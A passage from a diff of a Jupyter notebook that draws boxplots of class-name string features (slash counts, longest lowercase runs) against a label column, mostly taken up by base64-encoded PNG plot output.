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\ngg==\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x10eac8410>"
+       ]
+      }
+     ],
+     "prompt_number": 159
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('class_name_slash_count', 'label')\n",
+      "plt.ylabel('Class Name Slash Count')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 160,
+       "text": [
+        "<matplotlib.text.Text at 0x12b64ee10>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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2r9k75+Mb6oW+nyRp+E337Og5A3VEbEFR07sZ8F7gMmAlRaJ8NMXo\nrEHWtbc6Itb5ez8zfxUROwN7l689gFOBt0bE7pnZ7QtraVEyYZbWXzsDn++yDYpv3zcvf74jM7+2\nAPFMAntHxH0y8/apjRGxEcU35DcvQAySJHWaSjT3Bh4I/OPU5JhTIuKEWV77Rope7KWzOPcGioT9\nsZ07ImIbilh/1Lb55nLfSGauaNv+8G4XL0eMfbF8ERHPAi4AXg+8ZhbxSusla5il9dehEbHVVCMi\ntgb+ieLB/XXgy8D1wFHlg/deImKz8tv2unyOYlbQIzq2H0Ix67UkSU2a6oG+19/HEfEM4C+nOafX\nrNSUE2qdBewcEQdVCaY89/PAbhHRuTLEURQjrc5r2/bz8n3fjmPf0HntaZaO+nH5vs7fBNJiZg+z\ntP66Afheue7i1LJSDwZekZl3QbEGI0X90s/L2UJ/TVFr9WiKiUReQDE8bcpchkGfRrEk1NsiYkeK\niVYeR7F01a8okmlJkhba1LPtEuAPwH9ExCjwO4qe4QMohmfv2uPcXo4B9gJOK5Pvb5Xn/QWwJDNf\n1uPcoykS4PMj4mSK5/TuFM/OrwPtPeFnUdQmnxIRj6b4gvyZdJ/z48KIuIXid/4NxbN/nGL4+cf7\n+J2kRcOEWVo/JfD/KB6qhwH3p/jm+aWZ+ak1B2VeGBFPovim+gCKCUZuoUhg/4PiD4T2a/b8Jr1L\nDGsbmX+KiL2BfweeT/Gw/z7FclSnApv2Or/CPknS4lX1+bDm2ZaZK8qe3HcBh1P8nXwpxdrErwB2\nme7cXtvK6z6VIvn9O4ovpFdSTOb1vhnOvTYingwcR/GcHqFIcE8A3ta+JFRmroyIZwPvKe91G3Au\n8FKKZ3u7kymew68EtqWYUPNHwGFty0lKAqLHbPaSNO8iYglFjdd3MvPZTccjSZIkTbGGWdKCiYjO\nXmQo6qq3Br6ywOFIkiRJPdnDLGnBRMQngE2A7wB3A08FXkIxBHy39tmzJUmSpKaZMEtaMBFxIEVN\n9U7AFhSTq3wBeHNm3tBkbJIkSVInE2ZJkiRJkrqwhlmSJEmSpC5MmCVJkiRJ6sKEWZIkSZKkLkyY\nJUmSJEnqwoRZkiRJkqQuTJglSZIkSeri/wOO5fRoG6OLSAAAAABJRU5ErkJggg==\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b7dc590>"
+       ]
+      }
+     ],
+     "prompt_number": 160
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('class_name_lowercase_run_longest', 'label')\n",
+      "plt.ylabel('Max Run of Lower Case Letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 161,
+       "text": [
+        "<matplotlib.text.Text at 0x11278b750>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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